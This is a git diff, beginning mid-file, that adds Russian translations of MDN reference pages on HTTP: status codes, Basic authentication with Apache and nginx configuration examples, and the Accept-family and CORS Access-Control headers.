408Request TimeoutОтвет с таким кодом может прийти, даже без предшествующего запроса. Он означает, что сервер хотел бы отключить это неиспользуемое соеднинение. Этот метод используется все чаще с тех пор, как некоторые браузеры, вроде Chrome и IE9, стали использовать HTTP механизмы предварительного соединения для ускорения серфинга  (смотрите {{ bug(634278) }}, будущей реализации этого механизма в Firefox). Также учитывайте, что некоторые серверы прерывают соединения не отправляя подобных сообщений.HTTP/1.1 only
409Conflict +

Этот ответ отсылается, когда запрос конфликтует с текущим состоянием сервера.

+ 		HTTP/1.1 only
410Gone +

Этот ответ отсылается, когда запрашиваемый контент удален с сервера.

+ 		HTTP/1.1 only
411Length Required +

Запрос отклонен, потому что сервер требует указание заголовка Content-Length, но он не указан.

+ 		HTTP/1.1 only
412Precondition FailedКлиент указал в своих заголовках условия, которые сервер не может выполнитьHTTP/1.1 only
413Request Entity Too Large +

Размер запроса превышает лимит, объявленный сервером. Сервер может закрыть соединение, вернув заголовок Retry-After

+ 		HTTP/1.1 only
414Request-URI Too LongURI запрашиваемый клиентом слишком длинный для того, чтобы сервер смог его обработатьHTTP/1.1 only
415Unsupported Media TypeМедиа формат запрашиваемых данных не поддерживается сервером, поэтому запрос отклоненHTTP/1.1 only
416Requested Range Not SatisfiableДиапозон указанный заголовком запроса Range не может быть выполнен; возможно, он выходит за пределы переданного URIHTTP/1.1 only
417Expectation FailedЭтот код ответа означает, что ожидание, полученное из заголовка запроса Expect, не может быть выполнено сервером.HTTP/1.1 only
Серверные
500Internal Server Error"Внутренняя ошибка сервера". Сервер столкнулся с ситуацией, которую он не знает как обработать. HTTP/0.9 and later
501Not Implemented"Не выполнено". Метод запроса не поддерживается сервером и не может быть обработан. Единственные методы, которые сервера должны поддерживать (и, соответственно, не должны возвращать этот код) -  GET и HEAD.HTTP/0.9 and later
502Bad Gateway"Плохой шлюз". Эта ошибка означает что сервер, во время работы в качестве шлюза для получения ответа, нужного для обработки запроса, получил недействительный (недопустимый) ответ. HTTP/0.9 and later
503Service Unavailable"Сервис недоступен". Сервер не готов обрабатывать запрос. Зачастую причинами являются отключение сервера или то, что он перегружен. Обратите внимание, что вместе с этим ответом удобная для пользователей(user-friendly) страница должна отправлять объяснение проблемы.  Этот ответ должен использоваться для временных условий и Retry-After: HTTP-заголовок должен, если возможно, содержать  предполагаемое время до восстановления сервиса. Веб-мастер также должен позаботиться о заголовках, связанных с кэшем, которые отправляются вместе с этим ответом, так как эти ответы, связанные с временными условиями, обычно не должны кэшироваться. HTTP/0.9 and later
504Gateway TimeoutЭтот ответ об ошибке предоставляется, когда сервер действует как шлюз и не может получить ответ вовремя.HTTP/1.1 only
505HTTP Version Not Supported"HTTP-версия не поддерживается". HTTP-версия, используемая в запроcе, не поддерживается сервером.HTTP/1.1 only
+ +

{{ languages( { "zh-cn": "zh-cn/HTTP/HTTP_response_codes", "ja": "ja/HTTP/HTTP_response_codes"} ) }}

diff --git "a/files/ru/web/http/\320\260\320\262\321\202\320\276\321\200\320\270\320\267\320\260\321\206\320\270\321\217/index.html" "b/files/ru/web/http/\320\260\320\262\321\202\320\276\321\200\320\270\320\267\320\260\321\206\320\270\321\217/index.html" new file mode 100644 index 0000000000..99228e7633 --- /dev/null +++ "b/files/ru/web/http/\320\260\320\262\321\202\320\276\321\200\320\270\320\267\320\260\321\206\320\270\321\217/index.html" @@ -0,0 +1,123 @@ +--- +title: HTTP авторизация +slug: Web/HTTP/Авторизация +tags: + - Авторизация + - Разграничение доступа + - Руководство +translation_of: Web/HTTP/Authentication +--- +
{{HTTPSidebar}}
+ +

HTTP предоставляет набор инструментов для разграничения доступа к ресурсам и авторизацией. Самой распространенной схемой HTTP авторизации является "Basic" (базовая) авторизация. Данное руководство описывает основные возможности HTTP авторизации и показывает способы ограничения доступа к вашему серверу с ее использованием.

+ +

Общий механизм HTTP авторизации

+ +

{{RFC("7235")}} определяет средства HTTP авторизации, которые может использовать сервер для {{glossary("запроса")}} у клиента аутентификационной информации. Сценарий запрос-ответ подразумевает, что вначале сервер отвечает клиенту со статусом {{HTTPStatus("401")}} (Unauthorized) и предоставляет информацию о порядке авторизации через заголовок {{HTTPHeader("WWW-Authenticate")}}, содержащий хотя бы один метод авторизации. Клиент, который хочет авторизоваться, может сделать это, включив в следующий запрос заголовок {{HTTPHeader("Authorization")}} с требуемыми данными. Обычно, клиент отображает запрос пароля пользователю, и после получения ответа отправляет запрос с пользовательскими данными в заголовке Authorization.

+ +

+ +

В случае базовой авторизации как на иллюстрации выше, обмен должен вестись через HTTPS (TLS) соединение, чтобы обеспечить защищённость.

+ +

Прокси-авторизация

+ +

Этот же механизм запроса и ответа может быть использован для прокси-авторизации. В таком случае ответ посылает промежуточный прокси-сервер, который требует авторизации. Поскольку обе формы авторизации могут использоваться одновременно, для них используются разные заголовки и коды статуса ответа. В случае с прокси, статус-код запроса {{HTTPStatus("407")}} (Proxy Authentication Required) и заголовок {{HTTPHeader("Proxy-Authenticate")}}, который содержит хотя бы один запрос, относящийся к прокси-авторизации, а для передачи авторизационных данных прокси-серверу используется заголовок {{HTTPHeader("Proxy-Authorization")}}.

+ +

Доступ запрещен

+ +

Если (прокси) сервер получает корректные учетные данные, но они не подходят для доступа к данному ресурсу, сервер должен отправить ответ со статус кодом {{HTTPStatus("403")}} Forbidden. В отличии от статус кода {{HTTPStatus("401")}} Unauthorized или {{HTTPStatus("407")}} Proxy Authentication Required, аутентификация для этого пользователя не возможна.

+ +

Аутентификация с помощью изображений

+ +

Аутентификация с помощью изображений, загружаемых из разных источников, была до недавнего времени потенциальной дырой в безопасности. Начиная с Firefox 59, изображения, загружаемые из разных источников в текущий документ, больше не запускают диалог HTTP-аутентификации, предотвращая тем самым кражу пользовательских данных (если нарушители смогли встроить это изображение в страницу).

+ +

Кодировка символов HTTP аутентификации

+ +

Браузеры используют кодировку utf-8 для имени пользователя и пароля. Firefox использовал ISO-8859-1, но она была заменена utf-8 с целью уравнения с другими браузерами, а также чтобы избежать потенциальных проблем (таких как {{bug(1419658)}}).

+ +

WWW-Authenticate and Proxy-Authenticate headers

+ +

{{HTTPHeader("WWW-Authenticate")}} и {{HTTPHeader("Proxy-Authenticate")}} заголовки ответа которые определяют методы, что следует использовать для получения доступа к ресурсу. Они должны указывать, какую схему аутентификации использовать, чтобы клиент, желающий авторизоваться, знал, какие данные предоставить. Синтаксис для этих заголовков следующий:

+ +
WWW-Authenticate: <type> realm=<realm>
+Proxy-Authenticate: <type> realm=<realm>
+
+ +

Here, <type> is the authentication scheme ("Basic" is the most common scheme and introduced below). The realm is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.

+ +

Authorization and Proxy-Authorization headers

+ +

The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the type is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.

+ +
Authorization: <type> <credentials>
+Proxy-Authorization: <type> <credentials>
+
+ +

Authentication schemes

+ +

The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.

+ +

The most common authentication scheme is the "Basic" authentication scheme which is introduced in more details below. IANA maintains a list of authentication schemes, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:

+ + + +

Basic authentication scheme

+ +

The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.

+ +

Security of basic authentication

+ +

As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme is not secure. HTTPS / TLS should be used in conjunction with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.

+ +

Restricting access with Apache and basic authentication

+ +

To password-protect a directory on an Apache server, you will need a .htaccess and a .htpasswd file.

+ +

The .htaccess file typically looks like this:

+ +
AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user
+ +

The .htaccess file references a .htpasswd file in which each line contains of a username and a password separated by a colon (":"). You can not see the actual passwords as they are encrypted (md5 in this case). Note that you can name your .htpasswd file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to .ht* files).

+ +
aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+
+ +

Restricting access with nginx and basic authentication

+ +

For nginx, you will need to specify a location that you are going to protect and the auth_basic directive that provides the name to the password-protected area. The auth_basic_user_file directive then points to a .htpasswd file containing the encrypted user credentials, just like in the Apache example above.

+ +
location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}
+ +

Access using credentials in the URL

+ +

Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:

+ +
https://username:password@www.example.com/
+ +

The use of these URLs is deprecated. In Chrome, the username:password@ part in URLs is even stripped out for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you.".

+ +

See also

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-charset/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-charset/index.html" new file mode 100644 index 0000000000..97fb4f65e4 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-charset/index.html" @@ -0,0 +1,83 @@ +--- +title: Accept-Charset +slug: Web/HTTP/Заголовки/Accept-Charset +translation_of: Web/HTTP/Headers/Accept-Charset +--- +
{{HTTPSidebar}}
+ +

Заголовок Accept-Charset запроса HTTP сообщает какую кодировку клиент может понять. Используя согласование контента, сервер выбирает один из предложенных вариантов, использует его и информирует клиент о своем выборе в {{HTTPHeader("Content-Type")}} ответном заголовке. Браузер обычно не устанавливает этот заголовок, т.к. значение по умолчанию для каждого контентного типа обычно коректный  и передача его позволит с большей легкостью получить цифровой отпечаток.

+ +

Если сервер не может обслужить никакую из предоставленных кодировок, теоретически он может вернуть {{HTTPStatus("406")}} (Not Acceptable) код ошибки. Но, для более лучшего пользовательского опыта, это редко делается и более частый способ в этом случае, это просто игнорирование заголовка Accept-Charset.

+ +
+

В более ранних версиях HTTP/1.1, кодировка  по умолчанию (ISO-8859-1) была определена. Теперь это не так и каждый контентый тип может иметь свое собственное дефолтное значение.

+
+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}Да
+ +

Синтаксис

+ +
Accept-Charset: <кодировка>
+
+// Множественные типы, придающие вес с {{glossary("quality values", "quality value")}} синтаксисом:
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+ +

Директивы

+ +
+
<charset>
+
Кодировка типа utf-8 или iso-8859-15.
+
*
+
Любая кодировка не указанная нигде в заголовке; '*' используется как групповой символ.
+
;q= (q-factor weighting)
+
Любое значение помещается в порядке предпочтения, выраженного с использованием относительного значения качества, называемого весом.
+
+ +

Примеры

+ +
Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
+
+ +

Спецификация

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Accept-Charset", "5.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Accept-Charset")}}

+ +

Смотрите так же

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-language/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-language/index.html" new file mode 100644 index 0000000000..2e1cf9ae57 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-language/index.html" @@ -0,0 +1,94 @@ +--- +title: Accept-Language +slug: Web/HTTP/Заголовки/Accept-Language +translation_of: Web/HTTP/Headers/Accept-Language +--- +
{{HTTPSidebar}}
+ +
{{Glossary("HTTP-заголовок")}} Запрос Accept-Language сообщает серверу, какие языки клиент понимает и какая локаль предпочтительнее (имеются в виду естественные языки, такие как английский, а не языки программирования). Используя механизм обсуждения содержимого  (content negotiation), сервер выбирает один из предложенных вариантов, использует его и информирует клиента о своем выборе при помощи заголовка ответа {{HTTPHeader("Content-Language")}}. Браузеры устанавливают соответствующие значения для данного заголовка, исходя из языка пользовательсокого интерфейса, и, даже если у пользователя есть возможность изменить значение заголовка Accept-Language, это происходит редко (и не одобряется, так как ведет.к идентификации).
+ +
+ +

Данный заголовок является подсказкой для сервера, когда он не имеет другого способа определить язык, (например, явно указанный язык в URL'е, который пользователь явно выбрал). Рекомендуется никогда не переопределять на стороне сервера явный выбор пользователем языка. Содержимое заголовка Accept-Language часто не может быть переопределено пользователем (например, в путешествии, когда пользователь пользуется услугами интернет-кафе); также пользователь может захотеть посмотреть содержимое сайта на языке отличном от языка интерфейса.

+ +

Если сервер не может предоставить содержимое ни на одном языке из предложенных в заголовке Accept-Language, теоретически он может вернуть HTTP-статус {{HTTPStatus("406")}} (Not Acceptable). Однако, для большего удобства пользователя, это делается редко, а чаще принято в таких случаях игнорировать заголовок  Accept-Language.

+ + + + + + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}нет
{{Glossary("Simple header", "CORS-safelisted request-header")}}да
+ +

Синтаксис

+ +
Accept-Language: <language>
+Accept-Language: <locale>
+Accept-Language: *
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
+ +

Директивы

+ +
+
<language>
+
Тег языка (иногда называют идентификатором локали, "locale identifier"). Состоит из 2-3 буквенного основного языкового тега, представляющего язык, и опционально за ним могут следовать  дополнительные под-теги, разделенные '-'. Наиболее распространенной дополнительной информацией являются указания на страну или регион (например, 'en-US' или 'fr-CA') или тип алфавита, который следует использовать (например, 'sr-Latn'). Другие варианты, такие как тип орфографии ('de-DE-1996') обычно не используются в контексте данного заголовка.
+
*
+
Любой язык; '*' обозначает любое значение.
+
;q= (q-factor weighting)
+
Любое из значений, размещенных в порядке предпочтения, выраженном позицией {{glossary("Quality values", "quality value")}}, которое называют весами.
+
+ +

Примеры

+ +
Accept-Language: *
+
+Accept-Language: de
+
+Accept-Language: de-CH
+
+Accept-Language: en-US,en;q=0.5
+
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
+
+Accept-Language: ru-RU, ru;q=0.9, en-US;q=0.8, en;q=0.7, fr;q=0.6
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "Accept-Language", "5.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Совместимость с браузером

+ + + +

{{Compat("http.headers.Accept-Language")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-patch/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-patch/index.html" new file mode 100644 index 0000000000..2dfa99d0ac --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-patch/index.html" @@ -0,0 +1,83 @@ +--- +title: Accept-Patch +slug: Web/HTTP/Заголовки/Accept-Patch +translation_of: Web/HTTP/Headers/Accept-Patch +--- +
{{HTTPSidebar}}
+ +

HTTP-заголовок запроса Accept-Patch показывает, какой медиа-тип понимает сервер внутри запроса PATCH.

+ +

Наличие Accept-Patch в ответе к любому методу означает, что сервер принимает PATCH-запросы. Как правило, из этого вытекает следующее:

+ +

Сервер, принимающий PATCH-запрос с неподдерживаемым медиа-типом может ответить кодом ошибки {{HTTPStatus("415")}} Unsupported Media Type и заголовком Accept-Patch, в котором перечислены поддерживаемые медиа-типы.

+ +
Примечания: + + +
+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header", "Заголовок ответа")}}
{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}да
+ +

Синтаксис

+ +
Accept-Patch: application/example, text/example
+Accept-Patch: text/example;charset=utf-8
+Accept-Patch: application/merge-patch+json
+
+ +

Директивы

+ +

Нет

+ +

Примеры

+ +
Accept-Patch: application/example, text/example
+
+Accept-Patch: text/example;charset=utf-8
+
+Accept-Patch: application/merge-patch+json
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("5789", "Accept-Patch", "3.1")}}HTTP PATCH
+ +

Совместимость с браузером

+ +

Для данного заголовка не важная совместимость браузерами, так как заголовок посылается сервером и спецификация не определяет поведение клиента.

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-ranges/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-ranges/index.html" new file mode 100644 index 0000000000..b8f63b9d0e --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept-ranges/index.html" @@ -0,0 +1,72 @@ +--- +title: Accept-Ranges +slug: Web/HTTP/Заголовки/Accept-Ranges +translation_of: Web/HTTP/Headers/Accept-Ranges +--- +
{{HTTPSidebar}}
+ +

HTTP Заголовок ответа Accept-Ranges -- это маркер, который использует сервер, чтобы уведомить клиента о поддержке "запросов по кускам". Его значение указывает единицу измерения, которая может быть использована для определения диапазона чтения.

+ +

При наличии заголовка Accept-Ranges, браузер может попытаться возобновить прерванную загрузку, а не запускать её с самого начала.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +
Accept-Ranges: bytes
+Accept-Ranges: none
+ +

Указания

+ +
+
none
+
Единица измерения диапазона не поддерживается, что эквивалентно отсутствию диапазона и поэтому редко используется, хотя некоторые браузеры, такие как IE9 используют его для отключения или удаления кнопоки паузы у активной загрузке в менеджере загрузок.
+
bytes
+
+

Единицей измерения для диапазона являются байты.

+
+
+ +

Примеры

+ +
Accept-Ranges: bytes
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7233", "Accept-Ranges", "2.3")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Совместимость браузеров

+ + + +

{{Compat("http.headers.Accept-Ranges")}}

+ +

См.также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept/index.html" new file mode 100644 index 0000000000..69ab96233b --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/accept/index.html" @@ -0,0 +1,89 @@ +--- +title: Accept +slug: Web/HTTP/Заголовки/Accept +tags: + - HTTP + - Заголовки HTTP + - Заголовки запроса HTTP +translation_of: Web/HTTP/Headers/Accept +--- +
{{HTTPSidebar}}
+ +

HTTP заголовок запроса Accept указывает, какие типы контента, выраженные как MIME типы, клиент может понять. Используя согласование контента, сервер затем выбирает одно из предложений, использует его и информирует клиента о своем выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задается другое значение, чем при получении изображения, видео или скрипта.

+ + + + + + + + + + + + + + + + +
Тип заголовка{{Glossary("Request header")}}
{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}нет
{{Glossary("Simple header", "CORS-safelisted request-header")}}yes, with the additional restriction that values can't contain a CORS-unsafe request header byte: 0x00-0x1F (except 0x09 (HT)), "():<>?@[\]{}, and 0x7F (DEL).
+ +

Синтаксис

+ +
Accept: <MIME_type>/<MIME_subtype>
+Accept: <MIME_type>/*
+Accept: */*
+
+// Несколько типов, дополненных синтаксисом {{glossary("quality values", "значений качества")}}:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+ +

Директивы

+ +
+
<MIME_type>/<MIME_subtype>
+
Один точный MIME-тип, например text/html.
+
<MIME_type>/*
+
MIME тип без какого-либо подтипа. image/* будет соответствовать типам image/png, image/svg, image/gif и любым другим типам изображений.
+
*/*
+
Любой MIME type
+
;q= (q-factor weighting)
+
Любое используемое значение помещается в порядке приоритета, заданным с использованием относительного значения качества, которое называется весом.
+
+ +

Примеры

+ +
Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+
+ +

Спецификации

+ + + + + + + + + + + + +
Характеристика Название
{{RFC("7231", "Accept", "5.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+ +

Совместимость с браузером

+ + + +

{{Compat("http.headers.Accept")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-headers/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-headers/index.html" new file mode 100644 index 0000000000..d392143198 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-headers/index.html" @@ -0,0 +1,93 @@ +--- +title: Access-Control-Allow-Headers +slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers +tags: + - CORS + - HTTP + - Заголовок + - Справка +translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers +--- +
{{HTTPSidebar}}
+ +

Заголовок ответа Access-Control-Allow-Headers используется в ответ на {{glossary("preflight request")}}, чтобы указать, какие заголовки HTTP могут использоваться во время фактического запроса.

+ +

The {{glossary("simple header", "simple headers")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} (но только с MIME-типом, найденым в этом значении (исключая параметры), либо application/x-www-form-urlencoded, multipart/form-data или text/plain), всегда доступны и не должны быть перечислены в этом заголовке.

+ +

Этот заголовок обязателен, если запрос содержит заголовок {{HTTPHeader("Access-Control-Request-Headers")}}.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}нет
+ +

Синтаксис

+ +
Access-Control-Allow-Headers: <header-name>, <header-name>, ...
+
+ +

Директивы

+ +
+
<header-name>
+
Список поддерживаемых заголовков разделенных запятыми.
+
+ +

Пример

+ +
Access-Control-Allow-Headers: X-Custom-Header
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}{{Spec2("Fetch")}}Начальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Access-Control-Allow-Headers")}}

+ +

Заметки по совместимости

+ + + +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-methods/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-methods/index.html" new file mode 100644 index 0000000000..d3917204bc --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-methods/index.html" @@ -0,0 +1,85 @@ +--- +title: Access-Control-Allow-Methods +slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods +tags: + - CORS + - HTTP + - Заголовки +translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods +--- +
{{HTTPSidebar}}
+ +

Access-Control-Allow-Methods это заголовок ответа, который определяет метод или методы доступа к ресурсам {{glossary("preflight request")}}.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}нет
+ +

Синтаксис

+ +
Access-Control-Allow-Methods: <method>, <method>, ...
+
+ +

Директивы

+ +
+
<method>
+
Разделенный запятыми список доступных методов HTTP запросов.
+
+ +

Примеры

+ +
Access-Control-Allow-Methods: POST, GET, OPTIONS
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}{{Spec2("Fetch")}}Начальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Access-Control-Allow-Methods")}}

+ +

Замечания по совместимости

+ + + +

See also

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-origin/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-origin/index.html" new file mode 100644 index 0000000000..5dc5aa2b7c --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-allow-origin/index.html" @@ -0,0 +1,94 @@ +--- +title: Access-Control-Allow-Origin +slug: Web/HTTP/Заголовки/Access-Control-Allow-Origin +translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin +--- +
{{HTTPSidebar}}
+ +

Заголовок ответа Access-Control-Allow-Origin показывает, может ли ответ сервера быть доступен коду, отправляющему запрос с данного источника {{glossary("origin")}}.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}нет
+ +

Синтаксис

+ +
Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: <origin>
+Access-Control-Allow-Origin: null
+
+ +

Директивы

+ +
+
*
+
Для запросов без учетных данных. Значение "*" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учетными данными приведет к ошибке.
+
<origin>
+
Указывает источник. Может быть указан только один источник.
+
null
+
Определяет в качестве источника "null". +
Замечание: Не используйте null: "Может показаться, что вернуть Access-Control-Allow-Origin: "null" безопасно, но сериализация Источника любого ресурса, использующего неиерархическую схему (такие как data: или file:), и изолированные документы, определяются как "null". Многие пользовательские агенты предоставляют таким документам доступ к ответу сзаголовком Access-Control-Allow-Origin: "null", и любой источник модет создать враждебный документ с Источником "null". Поэтому использования заголовка ACAO со значением "null" следует избегать."
+
+
+ +

Примеры

+ +

Ответ, который указывает браузеру разрешить доступ к ресурсу из любого источника:

+ +
Access-Control-Allow-Origin: *
+ +

Ответ, который указывает браузеру разрешить доступ к ресурсу только из источника https://developer.mozilla.org:

+ +
Access-Control-Allow-Origin: https://developer.mozilla.org
+ +

Чтобы ограничить Access-Control-Allow-Origin разрешенным набором значений, необходимо реализовать логику на стороне сервера для проверки значения заговока {{HTTPHeader("Origin")}} запроса, спавнить его с разрешенным списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение Access-Control-Allow-Origin, равное значению {{HTTPHeader("Origin")}}.

+ +

CORS и кэширование

+ +

Если сервер послал ответ со значением Access-Control-Allow-Origin, которое содержит явное указание источника (а не шаблонное значние "*"), тогда ответ также должен включать в себя заголовок {{HTTPHeader("Vary")}} со значением Origin — чтобы указать браузеру, что ответы с сервера могут отличаться в зависимости от заголовка запроса Origin.

+ +
Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}{{Spec2("Fetch")}}Начальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

См. также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-max-age/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-max-age/index.html" new file mode 100644 index 0000000000..0d5d63b8b0 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/access-control-max-age/index.html" @@ -0,0 +1,69 @@ +--- +title: Access-Control-Max-Age +slug: Web/HTTP/Заголовки/Access-Control-Max-Age +translation_of: Web/HTTP/Headers/Access-Control-Max-Age +--- +
Заголовок ответа сервера Access-Control-Max-Age сообщает браузеру насколько {{glossary("предзапрос")}} (эта информация содержится в заголовках {{HTTPHeader("Access-Control-Allow-Methods")}} и {{HTTPHeader("Access-Control-Allow-Headers")}}) может быть кэширован и опущен при запросах к серверу.
+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Заголовок ответа")}}
{{Glossary("Запрещенное имя заголовка")}}нет
+ +

Синтаксис

+ +
Access-Control-Max-Age: <delta-seconds>
+
+ +

Параметры

+ +
+
<delta-seconds>
+
Количество секунд, на которое запрос может быть кэширован.
+ Максимальное значение в Firefox составляет 24 часа (86400 секунд), в Chromium 10 минут (600 секунд). Chromium также определяет значение по-умолчанию 5 секунд.
+ Значение -1 отменяет кэширование, отправляя предзапрос перед каждым запросом.
+
+ +

Примеры

+ +

Кэширование предзапроса на 600 секунд:

+ +
Access-Control-Max-Age: 600
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
